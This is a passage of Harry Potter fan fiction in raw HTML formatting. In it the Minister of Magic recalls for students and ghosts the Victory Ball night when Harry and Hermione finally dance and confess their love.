class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">The dancing couples broke up and reformed as\nthe music went on &#8230; and it seemed that Harry Potter had no end of anxious dance\npartners literally fighting for a chance to get in a dance with him.&nbsp; Dame Rivers had been surreptitiously\nobserving him as time passed, and felt a stab of pity running through her heart\nfor him.</p>\n\n<p class="MsoBodyTextFirstIndent">It seemed that he was never given a moment to\nhimself &#8211; if he wasn&#8217;t dancing with a nubile student, or a dressed-to-kill\ntwenty-something witch, or a dressed-to-the-nines matron (and there were many\nof them!), he seemed to be locked in conversation with various groups of people\n&#8211; adoring younger Hogwarts students (mostly females), loud, backslapping male\nstudents or alumni (one of these, a most handsome chap, was Oliver Wood, Harry\nPotter&#8217;s former Quidditch team captain), and a succession of well-fed and\nfashionably dressed wizard-businessmen who were buttonholing him, apparently\nintent on hiring the famous Harry Potter to join their businesses.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry had been unfailingly polite to all the\nattention given him, and Dame Rivers couldn&#8217;t help but <i>admire</i> the boy\nfor his confidence and aplomb.&nbsp; In the\ncourse of her furtive surveillance, however, she started noticing something <i>different\n</i>in Harry&#8217;s actions &#8230; it took her a while before she realized that, no\nmatter what he was doing (dancing, talking to people, grabbing a drink or\neating some food), he was <i>always</i> facing towards the center of the hall. </p>\n\n<p class="MsoBodyTextFirstIndent">Even when people were talking to him or\nsurrounding him, Harry seemed to be moving unobtrusively, maneuvering himself\n(and the others) in such a way that he could always look towards the center of\nthe Great Hall.&nbsp; When she had finally\nrealized this, Dame Rivers tried to position herself to see what it was that\nHarry was looking at &#8230; and wasn&#8217;t surprised to find that Hermione Granger, no\nmatter what she was doing (dancing, talking with people, or standing by the\nbuffet tables) was <i>always</i> in Harry&#8217;s line-of-sight.&nbsp; The thought struck her at that moment, when\nshe saw Hermione glance up and give a soft smile, that <i>Hermione</i> was also\nmoving around &#8211; and finding a way to keep <i>Harry</i> in sight.</p>\n\n<p class="MsoBodyTextFirstIndent">And yet &#8230; it seemed that every time their eyes\nwould meet, one or the other would suddenly turn away. They were in a strange\ndance by themselves &#8211; a dance of <i>avoidance</i>, and Dame Rivers sighed to\nherself in frustration.</p>\n\n<p class="MsoBodyTextFirstIndent">She stood by the refreshment table and glared\nat the two (luckily, neither one noticed, engrossed as they were in their own\ndance of evasion), and she shook her head at their antics. Her reverie was\ninterrupted, however, by low voices speaking behind her, and she focused her\nhearing on the conversation.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They&#8217;re doing it again,&#8221; said a female voice.\n&#8220;I&#8217;m of a mind to go over there now and <i>thwap</i> them on their silly little\nheads.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Would it do any good, Ginny? You know how\nstubborn those two are &#8230;&#8221; a male voice replied.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I&#8217;m <i>serious</i>, Ron!&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You&#8217;re not,&#8221; another male voice responded. &#8220;<i>He</i>\nis.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">The statement was followed by hoots of\nlaughter, coming from both the female voice and a deeper, male voice that\nturned the air vibrant. Dame Rivers chanced a look behind her, and saw that Ron\nand Ginny Weasley (with their brother Fred or George) were talking with a tall,\ndark-haired, <i>gorgeous</i> wizard whom she immediately recognized as Sirius\nBlack &#8211; once the most infamous (and <i>only</i>) prisoner to have escaped\nAzkaban, now cleared of his crimes and a respected member of the wizarding community.</p>\n\n<p class="MsoBodyTextFirstIndent">And coincidentally, Harry Potter&#8217;s godfather.</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers turned back to watching the party,\nbut unashamedly continued eavesdropping on the conversation behind her.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Talking about my godson behind his back, are\nyou?&#8221; Sirius commented. &#8220;Anything new happening?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;They&#8217;re still avoiding each other, Sirius,&#8221;\nGinny replied in an exasperated tone. &#8220;I&#8217;d thought that after Volde&#8212; I mean, <i>Tom\nRiddle</i> was finally defeated, that they would <i>finally</i> admit what\nthey&#8217;re feeling &#8230; apparently it&#8217;s a lost cause.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah,&#8221; her brother replied. &#8220;I think Harry&#8217;s\nbecome so used to thinking of her as his best <i>friend</i> that he cannot\nthink of her in any other way.&nbsp; Would\nyou believe, even when You-Know-Who kidnapped Hermione, the <i>only</i> thought\non his mind was that the bastard had kidnapped his best <i>friend</i>? He\ndidn&#8217;t even <i>know</i> he was in love with her, the dense git, even though <i>I</i>\nhad known it for years &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">There was an uncomfortable silence from the\ngroup behind Dame Rivers, broken by Sirius&#8217; thoughtful voice. &#8220;Maybe that&#8217;s how\nhe was able to do what he did &#8230; you were there, Ron, Fred. Riddle Mansion had\nbeen blasted to <i>pieces</i> &#8230; dead Death Eaters everywhere &#8230; Voldemort\nlooking as if he&#8217;d been knifed in the guts &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah, I know,&#8221; Fred&#8217;s voice said.&nbsp; &#8220;If that&#8217;s Harry on a rampage, I&#8217;d <i>hate</i>\nto be on his bad side when he wakes up on the wrong side of the bed &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Or if someone tried to do that again to\nHermione,&#8221; Ron&#8217;s voice broke in. &#8220;That was You-Know-Who&#8217;s biggest mistake, I\nthink.&nbsp; He <i>assumed</i> that Harry was\nin love with Hermione, and that kidnapping her would distract him &#8230;\nYou-Know-Who never <i>realized</i> that Harry thought of Hermione only as his\nbest friend. <i>That</i> kept Harry from being distracted &#8230; he went after his <i>friend</i>,\nnot the one he was&nbsp; in love with.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Silence followed this statement. Sirius Black&#8217;s\nthoughtful voice once again broke it, &#8220;If Harry can do that for a <i>friend</i>\n&#8230; I wonder what would have happened if he knew he was &#8211; <i>is</i> &#8211; in love\nwith Hermione.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;There would have been <i>nothing</i> left of\nRiddle Mansion &#8211; and Harry and Hermione -- but a hole in the ground.&#8221; The voice\nof Albus Dumbledore broke into the conversation. &#8220;Mr. Weasley is right, you\nknow.&nbsp; Harry&#8217;s powers, strong as they\nare, are still largely uncontrolled &#8230; but I think the experience has tempered\nhim. He now knows he must exercise diligent control over himself &#8230; and he will\nbe training himself with that in mind.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I wonder how Hermione feels about this,&#8221; Fred\nspoke up. &#8220;I mean &#8230; Harry <i>did</i> go after her, but he went after her\nbecause she&#8217;s his <i>friend</i> &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;She&#8217;s waiting for him,&#8221; Ginny&#8217;s voice sounded\npositive and sure, although one could detect a feeling of loss underneath her\nwords. &#8220;She&#8217;s known for <i>years</i> &#8230; but she has always known that whatever\nfeelings they have for each other must take second place to defeating You-Know-Who.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;A most astute observation, Miss Weasley,&#8221;\nDumbledore said. &#8220;Miss Granger told me as much when I visited her at home\nbefore bringing her back to Hogwarts. Harry was on a fine line when he went\nafter Voldemort &#8230; it was only the thought of her as his friend and not\nsomething else that kept him from losing control &#8211; and destroying everything\nwith him when he destroyed Voldemort.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">There was a short pause, pregnant with meaning,\nand Dumbledore continued, &#8220;One can only hope that now that Voldemort is finally,\nand <i>truly</i>, defeated &#8230; that Harry will understand what has always been in\nhis heart &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Their conversation suddenly fell silent, and\nDame Rivers sensed that the group had broken apart. Glancing around her, she\nsaw that Hermione was approaching the refreshment table she was watching,\napparently intent on getting something cool to drink.&nbsp; She was about to approach her to offer something when she saw\nHermione suddenly pause, and look back over her shoulder.</p>\n\n<p class="MsoBodyTextFirstIndent">From her vantage point, Dame Rivers could see\nthat Harry Potter was, once again, looking at Hermione.&nbsp; She watched as Hermione placed a hand to her\nmouth &#8230; and blew Harry Potter a kiss.&nbsp;\nShe watched with amusement as Harry threw up his hand as if to catch the\nkiss &#8230; and brought his hand to his mouth, totally ignoring the person he was\ntalking with (a young witch who seemed to be hanging on to his every word).</p>\n\n<p class="MsoBodyTextFirstIndent">The witch looked puzzled at Harry&#8217;s actions\n(although she apparently suspected something amiss), and glanced over her\nshoulder &#8230; but Hermione had turned away, and was apparently pouring herself a\ngoblet of cold pumpkin juice. Dame Rivers smiled to herself as she watched the\nyoung witch turn back to Harry. </p>\n\n<p class="MsoBodyTextFirstIndent">She was in the line of sight to Harry as\nHermione straightened up, holding the goblet of juice and turned back to him &#8230;\nand saw Harry smile at Hermione &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">But Hermione had turned away &#8230; and Dame Rivers\nwatched as the smile faded away from Harry&#8217;s face &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Dad smiled at Mum,&#8221; Catriona Rhiannon Potter\nvoice once again breaking into the Minister of Magic&#8217;s memories. &#8220;And then &#8230;\nDad saw me watching them, and he <i>smiled</i> at me &#8230; I <i>swear</i>,&#8221; she\nsaid with a sigh, &#8220;if he weren&#8217;t my <i>Dad</i>, I would have <b>melted</b> into\nthe floor right then &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers&#8217; face broke into a broad smile. She\n<i>knew</i> what Catsky was talking about &#8230; she&#8217;d been <i>there</i> when Harry\nhad smiled at Hermione in <i>that</i> way, so many years ago, and she could\nstill feel herself <i>melting</i> when she thought about it &#8211; although, her\nmemory reminded her, Hermione had not <i>seen</i> that smile that first time\n...</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Speak for yourself, Catsky,&#8221; her sister said\nin a trying to be older and more mature voice.&nbsp;\n&#8220;I <i>saw</i> the same thing &#8230; I had to sit <i>down</i> when Dad smiled\nat Mum. Can you imagine how <i>Mum </i>could stand it?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Well, Mum&#8217;s had all those years to get used to\nit,&#8221; Catsky said, in a high&nbsp; and mighty\ntone. &#8220;I wonder, however, why they keep doing it &#8230; it always seems to me like\nsomething <i>teenagers</i> would do &#8230;&#8221;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers could not take it any longer. After\nwatching Hermione&#8217;s flying kiss &#8230; Harry&#8217;s catch of that kiss (and pressing it\nto his lips) &#8230; followed by that <i>gorgeous</i>, absolutely heart-<i>melting</i>\nsmile &#8230; and Hermione <i>missing</i> that smile &#8230; she felt like hexing the <i>whole</i>\nGreat Hall.</p>\n\n<p class="MsoBodyTextFirstIndent">With an angry sigh, she grabbed a goblet of hot\nbuttered rum and stormed out the Hall (brushing past an astonished Hermione in\nthe process), heading for the entrance to Hogwarts where she could take a\ncalming, <i>cool</i> breath of fresh air&nbsp;\n&#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Outside, she took a breath of the icy air &#8230; and\nhad the presence of mind to cast a warming charm on the goblet she held.&nbsp; Without a conscious thought, she started\nwalking around the grounds, finally pausing near a statue of a large stone\nreindeer, and drawing another deep, cleansing breath.</p>\n\n<p class="MsoBodyTextFirstIndent">And nearly choked when she heard Harry Potter&#8217;s\nvoice talking to someone on the other side of the statue.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Hermione&#8217;s always been the strong one,\nProfessor,&#8221; Harry was saying.&nbsp; &#8220;She was\nthe one who always <i>believed</i> that we would win &#8230; that I would finally\ndefeat Voldemort &#8230; that there was going to be a life for me <i>after</i> Voldemort.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And what about you, Harry?&#8221; Professor\nDumbledore&#8217;s voice responded.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I don&#8217;t know, Professor.&#8221; There was a long\nsilence.&nbsp; &#8220;I tried to make her believe\nthat I <i>believed</i> in what she was saying &#8230; but I think she always knew\nthat I didn&#8217;t believe it.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But that didn&#8217;t stop her from having faith in\nyou, Harry.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I guess.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Silence.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Faith is a powerful force in and of itself,\nHarry. It lies at the core of all magic &#8230; the belief that you <i>can</i> do\nmagic is the first step in any magical education. Otherwise, whatever magic we\nhave will always be uncontrolled &#8230; and ultimately, <i>useless</i> because it\ncannot be used properly.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry was silent, and Dumbledore continued,\n&#8220;Which was why Voldemort kidnapped Hermione &#8230; he was trying to remove the\nsource of your faith &#8230; he wanted to remove from the board the one person who\ntruly believed in <i>you</i>.&nbsp; He\nthought that by taking Hermione, he would disable you &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;He almost did, Professor,&#8221; Harry whispered.\n&#8220;When we learned that Hermione had been kidnapped, I didn&#8217;t know what to do &#8230;\nDid you know, I couldn&#8217;t do any magic for about an hour after we got the word?\nI had locked myself in my room &#8230; barricaded the door with my trunk &#8230; tried the\nsimplest charms and spells &#8230; couldn&#8217;t do <i>anything</i> at all! I knew we were\ndoomed &#8230; that if I couldn&#8217;t do the simplest spells &#8230; Hermione would be dead &#8230;\nand I might as well have been dead.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But you didn&#8217;t,&#8221; Dumbledore replied. &#8220;You were\nable to go after Voldemort by yourself &#8230; not just go after him, but <i>defeated</i>\nhim. How?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">A strangled whisper. &#8220;<i>You&#8217;re a great wizard,\nHarry</i>.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;It was something Hermione told me when we were\nin first year &#8230; right after she figured out the Potions problem, and I had to\ngo for the Sorcerer&#8217;s Stone. She told me &#8230; she told me, &#8216;<i>You&#8217;re a great\nwizard, Harry &#8230;</i>&#8217; I never forgot that &#8230; she never made me <i>forget</i> that\n&#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You found faith in yourself, Harry. Hermione\nhelped you find it within yourself &#8230; all those years ago, and it all came\ntogether when you needed it &#8211; which is why you finally were able to defeat\nVoldemort, and save Hermione at the same time.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But I placed her in <i>danger</i>, Professor!\nMy best friend &#8230; my best friend in all the <i>world</i> &#8230; and I placed her in\ndanger &#8230;&#8221; Harry paused, and in an anguished voice continued, &#8220;I never wanted to\nplace her in danger &#8230; I didn&#8217;t want to fall in love with her &#8230; because I <i>knew</i>\nshe will become a target for Voldemort. I didn&#8217;t even want to depend on her &#8230;\nto use her faith as my strength because I would place her in danger &#8230; but I\ncouldn&#8217;t help myself.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">In an tortured whisper, he repeated, &#8220;I\ncouldn&#8217;t help myself &#8230; and I placed her in danger because of my need for her\nfaith.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers resisted the urge to run around the\nreindeer and <i>brain </i>Harry Potter with the goblet she held.&nbsp; The boy may have been the most powerful\nwizard in a century &#8230; but magic could do <i>nothing</i> to cure <i>blindness</i>\n&#8230; and he still remained <i>blind</i> to that single truth &#8230; that Hermione&#8217;s\nunswerving <i>faith</i> in him stemmed from &#8230; from &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Dumbledore&#8217;s voice stopped her from throwing\nher goblet in frustration. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;<i>And now these three remain: faith, hope and\nlove. But the greatest of these is love.</i>&#8221; There was another pause as\nDumbledore allowed the words he quoted to sink in. &#8220;Harry, Hermione would never\nhave <i>believed</i> in you, were it not for the fact that she loves you &#8230;\nMaybe not in that way &#8230; (Dame Rivers knew that Dumbledore had stopped Harry&#8217;s\nprotests.) It may be the love of friendship &#8230; you did, after all, save her life\nfrom the mountain troll &#8230; and she has saved <i>your</i> life as you did hers\nagain and again over the years &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;But keep this in mind, Harry &#8211; she would never\nhave had that much faith and trust in you, unless she loved you. And &#8230; you\nwould not have been able to go after her &#8230; you would not have found the <i>faith</i>\nto help you defeat Voldemort and his Death Eaters, unless <i>you</i> loved her\nback.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Don&#8217;t you think so, Amanda?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">A startled Dame Rivers almost dropped her\ngoblet as she spun around &#8211; and realized that Harry and Professor Dumbledore\nhad stepped around the stone reindeer.&nbsp;\nShe sputtered an apology, but Dumbledore only held up his hand to\nsilence her.&nbsp; Harry, on the other hand,\nseemed deep in thought &#8230; and made no sign that he was bothered or disturbed\nthat she had overheard the discussion.</p>\n\n<p class="MsoBodyTextFirstIndent">She looked closely at him, and was shocked as\nshe saw the pained, haunted look on Hermione&#8217;s face reflected in his own. She\ncouldn&#8217;t understand where <i>that</i> was coming from &#8211; and then Harry spoke,\nin a strangled whisper, &#8220;I don&#8217;t know what to believe in anymore, Professor &#8230;\nI&#8217;ve lived for too long believing that I would die in trying to stop Voldemort\n&#8230; I was prepared to <i>die</i> to protect Hermione, and Ron, and Ginny,\neveryone &#8230; so that I could keep them from danger &#8230; it was only Hermione who\nreally believed in <i>me</i> &#8230; tried to make me believe that there was going to\nbe a life for me after Voldemort &#8230; now that Voldemort&#8217;s dead &#8230; I don&#8217;t know\nwhat to believe anymore &#8230; <i>I don&#8217;t know!</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Dame Rivers waited for Dumbledore to respond &#8211;\nand looked up in surprise when no response came. She saw Dumbledore&#8217;s eyes on\nher &#8230; as if waiting for <i>her</i> to provide an answer to Harry&#8217;s anguished\nquestion, and she stepped back in shock.&nbsp;\nWhat was <i>she</i> to say? She didn&#8217;t have <i>Dumbledore&#8217;s </i>years of\nwisdom &#8230; she didn&#8217;t have <i>half</i> of the brains of Hermione Granger &#8230; or\neven half of the apparent magic that Harry Potter possessed &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">But Dumbledore&#8217;s eyes were focused on her &#8230; as\nif urging her to speak &#8230; to find <i>something</i> in her storehouse of\nknowledge and memories that could help Harry Potter at this point in his life &#8230;\nsomething deep within her forced its way out of her heart and her soul ...</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Harry,&#8221; she began. &#8220;I believe that I can speak\nfor Hermione on this &#8230; if there is one thing that she believes in &#8230; if there is\n<i>one</i> thing she has more faith in than anything in this world &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter looked up at her, and she met his eyes.\n</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;She believes in love.&#8221; </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And magic.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">With those words, Dame Rivers transfigured her\ngoblet into a rose which she handed to Harry. </p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Think about that,&#8221; she said.</p>\n\n<p class="MsoBodyTextFirstIndent">With that, she turned on her heel and went back\nto the Great Hall, with Professor Dumbledore beside her, leaving Harry Potter\non the snow-covered grounds, holding a rose.</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mum would smile at Dad,&#8221; the voice of Elise\nPotter broke Dame Rivers&#8217; thoughts this time, &#8220;and Dad would transfigure\nwhatever he was holding into a rose, which he would carry to Mum &#8230; he would bow\nto her &#8230; she would curtsey to him and accept the rose &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">And Dame Rivers&#8217; eyes suddenly filled with\ntears as she watched the now-empty Great Hall transformed into a crowded dance\nfloor &#8230;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">I had grabbed another buttered rum from the\nrefreshment table when the orchestra swung into the first notes of a strangely\nhaunting, familiar yet unfamiliar, tune.&nbsp;\nI made a mental note to ask the name of that song, when I saw a wide-eyed\nHermione Granger, standing like a deer bracketed by the headlights of an\non-rushing car ... her dance partner forgotten ...</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter was staring at her, arms at his\nsides, one hand still holding a rose &#8230; There was a strange look on his face &#8230;\nas if he had been pole-axed in the back of his head &#8230; he kept staring at his\nbest friend as if he had just seen her for the first time only at that <i>precise</i>\nmoment in his life.</p>\n\n<p class="MsoBodyTextFirstIndent">For a brief moment, it seemed that time itself\nwas holding its breath &#8230; Hermione staring at Harry, her dance partner forgotten\neven as he tried to get her to move &#8230; Harry frozen in place, still staring at\nher as if really, <i>really</i> seeing her for the first time &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And then &#8230;&nbsp;\nHarry took a step.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione dropped her hands from her dance\npartner&#8217;s shoulders, and turned to face him.</p>\n\n<p class="MsoBodyTextFirstIndent">Time started moving again, but slowly &#8230; as if a\nviscous fluid had inundated the Great Hall, forcing movement down to a slow,\nstately crawl &#8230; even the music seemed to slow down as Harry Potter started\nwalking across the dance floor, couples slowly parting before him as he\napproached Hermione &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And time again stood still the moment the two\nfinally faced each other, one step apart, in the middle of the dance\nfloor.&nbsp; Their eyes locked &#8211; and I knew a\nconversation was taking place &#8230; questions asked, questions answered &#8230; apologies\nmade, apologies accepted &#8230; forgiveness sought, forgiveness given without rancor\nor remorse &#8230; a request made &#8211; and a wish granted &#8230; a promise made, and the\nanswer given &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter gave a deep bow to Hermione\nGranger.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione Granger answered with a slight, but\nelegant curtsy.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry Potter held out the rose.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione Granger stepped closer, accepting the\nrose from him, and pinning it to her dress with a magically-conjured pin. </p>\n\n<p class="MsoBodyTextFirstIndent">They stood facing each other once again.</p>\n\n<p class="MsoBodyTextFirstIndent">And then, Hermione <i>moved</i>, placing one\nhand in his while the other went to his shoulder. Harry Potter clasped her\nhand, and placed his other hand around her waist. </p>\n\n<p class="MsoBodyTextFirstIndent">The two moved into the steps of that waltz &#8230;\nhands clasped and around each other, eyes locked on the other as they continued\ntalking without words, their movements flowing into each other as they danced\nto the music which seemed to have speeded up again to its normal pace &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I believe Harry has finally found what has\nbeen in his heart for years,&#8221; Albus Dumbledore told me. I smiled at him &#8211; and\nsaw that the other couples were slowly breaking apart. They were walking to the\nsides of the dance floor, leaving only a single couple locked in a dance &#8211;\nleaving them alone for the <i>real</i> dance that had started seven years\nbefore &#8230; a dance that we all knew would continue far into the conceivable\nfuture.</p>\n\n<p class="MsoBodyTextFirstIndent">Harry and Hermione continued dancing alone &#8230;\nthey neither knew or <i>cared</i> that they were the center of attention of\neveryone in Hogwarts Castle &#8211; dancing to a tune that we all knew would be\ntheirs for the rest of their lives &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">I knew I had learned an invaluable lesson for\nlife &#8230; that love could be patient and kind, that love was not about passion or\nheat alone &#8230; that while love may seem to be a sudden realization, it was always\nbest when it had been nurtured &#8230; that love which started as friendship, but\ncherished and cultivated, protected and loved, would bear fruit in its own time\n&#8230; and that true love, in the end, would always find each other &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">I watched as Harry and Hermione drew closer &#8230;\nwatched as Hermione quietly broke her gaze from Harry&#8217;s intense eyes to place\nher mouth close to his ear &#8230; and I could read her lips as she whispered, &#8220;<i>Yes,\nHarry &#8230; I believe in love. And magic.</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">And Hermione laid her head on his chest &#8230; Harry\nlaid his chin on Hermione&#8217;s hair &#8230; dropped their hands to hold each other\naround the waist &#8230; and I started crying when Harry&#8217;s lips whispered five words,\nfollowed by two more &#8211; &#8220;<i>I love you, Hermione Granger &#8230; very much</i>.&#8221;</p>\n\n<p class="MsoBodyText">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;SQUEEEEE!&#8221; Dame Rivers bolted from her chair\nat the delighted squeals that had burst from the four students surrounding her\n&#8230; and looked around in shock.&nbsp; She felt\nthe tears flowing down her face, and made a move to wipe them off &#8230; noticing,\nat the same time, that Catsky, Elise and Ashley were covering their mouths with\nhandkerchiefs or hands &#8230; that Head Boy Brian Yoon was turning away, trying to\nhide a reddened and embarrassed face &#8230; and that the ghosts of Hogwarts Castle\nhad a silvery sheen of tears on their faces &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">She felt cold fingers brushing her face &#8211; and\nshe realized that the Grey Lady had approached her, and was wiping her tears\noff &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You were here, weren&#8217;t you?&#8221; the Grey Lady\nasked in a soft voice. &#8220;You were remembering how it was when Harry Potter\nrealized that he was in love with Hermione Granger &#8230; the night of the Victory\nBall &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yes, I was,&#8221; the Minister of Magic replied,\n&#8220;but what <i>happened</i>?&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;You fell into a trance, Minister,&#8221;\nNearly-Headless Nick explained, &#8220;and you were telling the children what\nhappened that night &#8230; that first dance of Harry and Hermione &#8230; that night of\nlove and magic at the Victory Ball &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">Flushed, embarrassed, Dame Amanda Rivers tried\nto apologize for disrupting the story, but was surprised when the Potter\ndaughters approached her &#8230; and embraced her.&nbsp;\nShe hugged them back, and heard Catsky&#8217;s voice, muffled as it was,\nsaying, &#8220;Thank you, Ma&#8217;am &#8230; I never knew the whole story. Dad and Mum never\ncould tell us about it &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Yeah,&#8221; Elise said, as she broke the group hug,\n&#8220;Dad and Mum would always start with, &#8216;It was the night of the Victory Ball &#8230;&#8217;\nand they&#8217;d <i>both </i>be silent &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Dad would just look at Mum with that goofy\nsmile of his &#8230;&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;Mum would whisper, &#8216;<i>Yes, Harry</i> &#8230; <i>I\nbelieve in love. And magic.</i>&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;And they&#8217;d smile at each other &#8230; hug us both\ntightly &#8230; and they would forget all about the story.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">A discreet cough reminded them all of the time\nof night &#8211; and they prepared to go back to their respective dorms and rooms. As\nshe was about to head off to her rooms, the Bloody Baron approached her &#8211; and\nshe looked at him in surprise as he coughed, clearly embarrassed at something.\n&#8220;Minister,&#8221; he began and Dame Rivers, looking at him and seeing the side\nglances he was giving the Grey Lady, smiled.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8220;I think we can do better than that,&#8221; she said,\nand pulled out her wand. Waving it around with a few well-chosen incantations,\nshe conjured up a cello and two ghostly violins that shimmered in the light as\nthey floated in the air.&nbsp; The house\nghosts 